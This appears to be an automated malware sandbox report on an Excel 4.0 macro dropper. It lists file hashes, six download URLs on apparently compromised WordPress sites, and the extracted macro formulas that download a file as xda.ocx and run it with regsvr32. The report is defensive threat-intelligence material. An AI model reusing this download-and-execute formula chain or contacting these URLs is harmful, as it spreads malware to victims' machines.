General

  • Target

    89685a9d5f4019e028f10efd174537aa83b5ec4e3b190efabc8e86e441a6d789

  • Size

    40KB

  • Sample

    241120-kkja2stfpe

  • MD5

    fb6f89749021c16034eb53deea19cf7b

  • SHA1

    9ab3eb807850e132be829282a39f0ea3313263e2

  • SHA256

    89685a9d5f4019e028f10efd174537aa83b5ec4e3b190efabc8e86e441a6d789

  • SHA512

    3d8b4f087241aa6518bf722a8ca1d31c30f86445c6e531b11c7908be2f3cf5f63923cd05913f3fae98e4e51ecd3a233f3536f11d1987f28d789e1b1ec583a559

  • SSDEEP

    768:etby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:GbunC5iymqylND59V4jwmXc2Xy3

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

http://en.pachammer.com/wp-content/vIG/

http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/

http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/

http://www.aacitygroup.com/wp-content/EkY9/

https://theoutsourcedaccountant.com/images/nFikTQmP/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://en.pachammer.com/wp-content/vIG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.aacitygroup.com/wp-content/EkY9/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://theoutsourcedaccountant.com/images/nFikTQmP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

Targets

    • Target

      89685a9d5f4019e028f10efd174537aa83b5ec4e3b190efabc8e86e441a6d789

    • Size

      40KB

    • MD5

      fb6f89749021c16034eb53deea19cf7b

    • SHA1

      9ab3eb807850e132be829282a39f0ea3313263e2

    • SHA256

      89685a9d5f4019e028f10efd174537aa83b5ec4e3b190efabc8e86e441a6d789

    • SHA512

      3d8b4f087241aa6518bf722a8ca1d31c30f86445c6e531b11c7908be2f3cf5f63923cd05913f3fae98e4e51ecd3a233f3536f11d1987f28d789e1b1ec583a559

    • SSDEEP

      768:etby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:GbunC5iymqylND59V4jwmXc2Xy3

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks